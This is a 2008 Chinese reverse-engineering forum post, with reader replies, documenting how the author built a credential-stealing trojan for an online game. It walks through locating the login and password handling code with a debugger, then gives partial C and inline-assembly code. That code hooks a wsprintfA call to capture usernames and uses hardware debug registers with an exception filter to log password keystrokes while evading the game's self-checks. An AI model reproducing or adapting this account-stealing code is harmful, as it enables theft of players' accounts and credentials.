首页
社区
课程
招聘
[原创]某网游盗号木马实现手记
发表于: 2008-1-6 19:11 15168

[原创]某网游盗号木马实现手记

dummy 活跃值
23
2008-1-6 19:11
15168

注:只是学习,没有任何恶意。下面的分析打了码,而且不完整 :)

上次的文字,抱歉有几点错误。shellexecutehook 并不能实现注入到全局进程。现在木马还是
使用消息钩子和远程线程比较多。-_# 今天遂亲自写了个动手写了个简单盗号木马,其实不能
算,只是验证一些想法和进行学习。

准备工具:
lordpe
od
syser debugger

这个游戏外边加了 tmd, 但不影响我们的分析。运行游戏,使用 lordpe 校正 imagesize,
然后dump 进程一份,修改入口点 0x1000, 然后 kill 掉输入表,使用 od 打开进行静态分
析(个人习惯,呵呵)。

我们的目标获取用户名和密码,首先的任务要找到游戏登录验证地方,回忆一下怎么做动态注
册机和游戏作弊程序,“搜索输入数据,定位输入数据处理代码”。

打开运行 syser, 然后进入游戏登录窗口, 在用户名中输入 dummys,ctrl+f12 调出 syser
调试窗口。我们要找到 dummys 这个输入
在控制台下输入

>addr game                                        // 切换到游戏的进程空间
>s 0 80000000 "dummys"                // 限定地址其实可以更少一点,我习惯这样了,呵呵。

等待几秒钟后,如果输入正确,就可以在数据窗口可以看到这个串了。一般会有多个相同
的串出现,你可以输入
>s
搜索下一个出现的 dummys

来寻找是谁问这个串的,在控制台下输入
>bpm xxxxxxxx                                // xxxxxxxx 即是 dummys 地址

ctrl+12 切出 syser, 紧跟着 syser 退出后再次弹出。
哈哈,已经断了下了,注意看看访问是不是游戏代码访问的。

我这边调试时断在 00479E78, 你的断下地址可能不同,其实这里不用管
他具体。只要确认这段代码的参数或上下文经常和我们要的数据发生关系
即可。

00479E75   .  52            push    edx
00479E76   .  51            push    ecx
00479E77   .  50            push    eax
00479E78   .  8906          mov     dword ptr [esi], eax        // eax --> Name
00479E7A   .  90            nop
00479E7B      E8 90078A77   call    77D1A610                                // wsprintfA
00479E80   ?  8B0E          mov     ecx, dword ptr [esi]
00479E82   .  8A11          mov     dl, byte ptr [ecx]
00479E84   .  33C0          xor     eax, eax
00479E86   .  84D2          test    dl, dl
00479E88   .  74 0F         je      short 00479E99
00479E8A   .  8BD1          mov     edx, ecx

好,在控制台下输入
>bd *                                        // 禁用以前的断点
>bp 00479E7B x                        // 下硬件执行断点

然后 ctrl + f12 来回切换观察,这个函数的参数是不是自己输入的 dummys,
经过几次后,可以确认这段代码的利用价值还可以。(其实这段代码是公用函数,
第一次写完程序 debugout 第一个参数时,输出很多垃圾,但是仔细观察一下,
当dummys 出现时第二个参数是 %s, 并且第一个参数即用户名只能是英文, 最
后的可以成功过滤出用户名,其实 patch 这处代码还有一个好处就是没有自
校验,呵呵)

接着我们想想该获取处理密码的地方了,通过上面的学习你是不是想直接搜索
密码,类似
>s 0 80000000 "mypass"
>...

呵呵,最终你将得到的是 "Couldn't foundin range!"。注意一下你就发现
你输入的密码都被转化为 *** 显示在屏幕上,oh yeah, 我们就搜索 ***,
在控制台下输入

>s 0 80000000 "******"        // 多输入长度的密码,匹配准确一点

等待一会,你将在数据发现 ****** 已经待在那里了。紧接着的操作和用户名的
处理一下,设置一个硬件断点

>bpm yyyyyyyy                        // 输入星星的地址加上长度,新的星星将存放在那里

ctrl+f12 运行,马上又断下来。
我这里断在了

0047898D  |.  8BF2          mov     esi, edx                                        // src 星星长度
0047898F  |.  8D0C28        lea     ecx, dword ptr [eax+ebp]
00478992  |.  2BFD          sub     edi, ebp
00478994  |.  03C6          add     eax, esi
00478996  |>  8A140F        /mov     dl, byte ptr [edi+ecx]                // src 星星
00478999  |.  8811          |mov     byte ptr [ecx], dl                        // dst 星星
0047899B  |.  41            |inc     ecx
0047899C  |.  4E            |dec     esi
0047899D  |.^ 75 F7         \jnz     short 00478996

在这里你并没有看到明文,但是发现了什么有用的信息了吗。那就是星星的长度。
接着就是寻找 src 星星长度是哪里来的,一个接一个硬件断点。你将发现一个
刚刚输入的密码字符。我这里是

004261B5  |. /7E 20         jle     short 004261D7
004261B7  |. |8B8B D0100000 mov     ecx, dword ptr [ebx+10D0]
004261BD  |. |8D49 00       lea     ecx, dword ptr [ecx]
004261C0  |> |80BC04 900000>/cmp     byte ptr [esp+eax+90], 20        // src --> password char
004261C8  |. |7D 01         |jge     short 004261CB
004261CA  |. |40            |inc     eax
004261CB  |> |41            |inc     ecx
004261CC  |. |40            |inc     eax
004261CD  |. |3BC6          |cmp     eax, esi                                        // esi --> password length
004261CF  |.^|7C EF         \jl      short 004261C0
004261D1  |. |898B D0100000 mov     dword ptr [ebx+10D0], ecx
004261D7  |> \8BBB F0110000 mov     edi, dword ptr [ebx+11F0]

所有的分析都结束了,该怎么利用这些东西。用户名的处理部分,直接 patch 掉那段代码即可,
但是密码处理,在调试时发现会有自校验, 如果 patch 肯定会被发现的。是 xx 自校验还是
另寻方法,
>bpm 004261B5        // 设置一个硬件断点, 寻找自校验代码处理地址
运行,马上断下来。你将看到一个小循环,正在校验这段代码,我第一此选择 xx 这个自校验,
但是没过多久你就会发现还有一层自校验在校验这段代码,靠! 算了。不知道何时是个头

该怎么办?

从上倒下我们都在使用硬件断点,而且都很有效。为什么 tmd 没有清 dr 呢?
如果我可以设置硬件断点在 004261C0 处,就不可以了吗。很黄很暴力 :)
就这样,首先检查这段密码处理属于哪个线程,通过在调试器下修改他的代码,确认
是主线程。下面只贴部分代码:)

///////////////////////////////////////////////////////////////////////////////////////
// patch 密码处理部分
BOOL Patch_4261C0()
{
/*
004261B5  |. /7E 20         jle     short 004261D7
004261B7  |. |8B8B D0100000 mov     ecx, dword ptr [ebx+10D0]
004261BD  |. |8D49 00       lea     ecx, dword ptr [ecx]
004261C0  |> |80BC04 900000>/cmp     byte ptr [esp+eax+90], 20        // src --> password
004261C8  |. |7D 01         |jge     short 004261CB
004261CA  |. |40            |inc     eax
004261CB  |> |41            |inc     ecx
004261CC  |. |40            |inc     eax
004261CD  |. |3BC6          |cmp     eax, esi                                        // esi --> password length
004261CF  |.^|7C EF         \jl      short 004261C0
004261D1  |. |898B D0100000 mov     dword ptr [ebx+10D0], ecx
004261D7  |> \8BBB F0110000 mov     edi, dword ptr [ebx+11F0]
*/
        // xy2 会循环的校验这段代码,所以不能直接 patch
        // 这里利用 调试 寄存器
        //
        // 自校验代码在 0x45e170, 这段自校验代码时有效时无效
        // ebx --> 0x426040 校验地址
        // edi --> 0x200        校验长度
        // 校验 0x45e170 的校验代码在 74ba2e, -_##
       
        __xy2_patch_Pwd = SearchSign((LPBYTE)0x420000, 0x10000, "8D490080BC0490000000207D014041403BC67CEF898BD0100000");
        if ( __xy2_patch_Pwd != NULL )
        {
                LOGOUT("Patch_4261C0: 成功定位特征地址 %08X!\n", __xy2_patch_Pwd);

                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, __dwMainThreadId);
                if ( hThread != NULL )
                {

                        LOGOUT("Patch_4261C0: OpenThread 成功\n");
                       
                        // 设置未处理异常过滤函数
                        __OrgUnhandledExceptionFilter = SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);
                       
                        LOGOUT("Patch_4261C0: __OrgUnhandledExceptionFilter = %08X\n", __OrgUnhandledExceptionFilter);
                       
                         // 下“硬件断点”
                       
                        CONTEXT ct;
                       
                        memset(&ct, 0, sizeof (ct));
                       
                        ct.ContextFlags = CONTEXT86_DEBUG_REGISTERS;
                        ct.Dr1 = (DWORD)__xy2_patch_Pwd;
                        ct.Dr7 = 0x405;
                        SetThreadContext(hThread, &ct);
                       
                        CloseHandle(hThread);

                        return TRUE;
                }
        }
        else
        {
                LOGOUT("Patch_479E7B: 定位特征地址失败!\n");
        }
       
        return FALSE;
}

// 未处理异常过滤
LONG
WINAPI
MyUnhandledExceptionFilter(
    IN struct _EXCEPTION_POINTERS *ExceptionInfo
    )
{
        LOGOUT(
                "MyUnhandledExceptionFilter: 捕获一个未处理异常 CODE = %08X, ADDR = %08X!\n",
                ExceptionInfo->ExceptionRecord->ExceptionCode,
                ExceptionInfo->ExceptionRecord->ExceptionAddress
                );

        if (
                ExceptionInfo->ExceptionRecord->ExceptionCode == 0x80000004 &&
                ExceptionInfo->ExceptionRecord->ExceptionAddress == __xy2_patch_Pwd
                )
        {
//                004261BD  |. |8D49 00       lea     ecx, dword ptr [ecx]
//                004261C0  |> /80BC04 900000>/cmp     byte ptr [esp+eax+90], 20
               
                CHAR c = *(PCHAR)(ExceptionInfo->ContextRecord->Esp +
                        ExceptionInfo->ContextRecord->Eax + 0x90); // 取出新的输入字符

                ExceptionInfo->ContextRecord->Eip += 3; // 下调指令

                static int i = 0;
                SavePassword(i++, c); // 保存密码
               
                return EXCEPTION_CONTINUE_EXECUTION;
        }
       
        return __OrgUnhandledExceptionFilter(ExceptionInfo);
}

///////////////////////////////////////////////////////////////////////////////////////
// patch 用户名处理部分
void NAKED Proxy_479E7B()
{
        __asm
        {
                mov                eax, dword ptr [esp + 8]
                cmp                dword ptr [eax], 's%'
                jnz                __ret
                mov                ecx, dword ptr [esp + 4]
                call        SaveName
__ret:
                mov                eax, wvsprintfA
                jmp                eax
        }
}

BOOL Patch_479E7B()
{
/*
00479E75   .  52            push    edx
00479E76   .  51            push    ecx
00479E77   .  50            push    eax
00479E78   .  8906          mov     dword ptr [esi], eax        // eax --> Name
00479E7A   .  90            nop
00479E7B      E8 90078A77   call    77D1A610 // wsprintfA
00479E80   ?  8B0E          mov     ecx, dword ptr [esi]
00479E82   .  8A11          mov     dl, byte ptr [ecx]
00479E84   .  33C0          xor     eax, eax
00479E86   .  84D2          test    dl, dl
00479E88   .  74 0F         je      short 00479E99
00479E8A   .  8BD1          mov     edx, ecx
*/
        __xy2_patch_Name = SearchSign((LPBYTE)0x00470000, 0x10000, "525150890690E8????????8B0E8A11");
        if ( __xy2_patch_Name != NULL )
        {
                __xy2_patch_Name += 7;

                LOGOUT("Patch_479E7B: 成功定位特征地址 %08X!\n", __xy2_patch_Name);
               
                // 修改call  77D1A610 为 call Proxy_479E7B
                DWORD dwOffset = (DWORD)Proxy_479E7B - (DWORD)__xy2_patch_Name - 4;
                DWORD dwBytes = WriteMemory(__xy2_patch_Name, &dwOffset, 4);
                if ( dwBytes == 4 )
                {
                        LOGOUT("Patch_479E7B: 成功 Patch!\n");
                        return TRUE;
                }
        }
        else
        {
                LOGOUT("Patch_479E7B: 定位特征地址失败!\n");
        }

        return FALSE;
}

到此结束。
最后感谢一下 aker & forgot.

ps: 禁止一切对代码风格的评论, 尤其某某


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (32)
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
2
某某特来顶贴
2008-1-6 19:51
0
雪    币: 1946
活跃值: (248)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
3
syser debugger开始抬头了
2008-1-6 20:08
0
雪    币: 193
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这样截出来的密码比较准确吗?
就是太复杂了,完全看不懂
2008-1-6 21:33
0
雪    币: 66
活跃值: (15)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
5
syser debugger开始摇头了
2008-1-6 21:52
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
嘎嘎 未必吧
2008-1-6 22:33
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
路过.................
2008-1-7 10:06
0
雪    币: 116
活跃值: (220)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
8
很黄很暴力
2008-1-7 10:15
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
9
好文,先顶起来再慢慢看
2008-1-7 10:51
0
雪    币: 250
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
sysdebug用不起呀,老死
2008-1-7 11:47
0
雪    币: 208
活跃值: (51)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
完了 xy2刚更新,又要一场风暴了。。。
2008-1-7 12:03
0
雪    币: 1919
活跃值: (901)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
12
sysdebug还没习惯用~~~
2008-1-7 12:04
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
学习中!现在网游安全性应该还可以吧!
2008-1-7 13:53
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
14
RO DEBUG R3,,,,好象很方便的样子,,,
2008-1-7 15:54
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
15
文章写的超好,学到很多东西。
2008-1-8 12:37
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
tmd 是什么壳 ?
2008-1-8 22:05
0
雪    币: 0
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
17
楼主能不能留下联系方式~~~或联系QQ 9599666
2008-1-8 22:33
0
雪    币: 107
活跃值: (1693)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
18
有学写外挂的资料不?有mail一份给我 3Q
2008-1-10 18:31
0
雪    币: 325
活跃值: (97)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
19
XY2 不是把处理输入的信息地方VM了??????
莫要打击我啊~~~~都知道我很菜..  尤其某某..
2008-1-10 19:35
0
雪    币: 267
活跃值: (1908)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
好文!!赞
2008-1-10 20:11
0
雪    币: 230
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
顶起 来看看
2008-1-11 06:00
0
雪    币: 1657
活跃值: (291)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
22
.................
2008-1-11 11:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
  学习下
2008-1-11 17:55
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
LZ厉害,偶学到不少东西
2008-1-11 21:28
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
很好,很强大
2008-1-15 14:22
0
游客
登录 | 注册 方可回帖
返回
//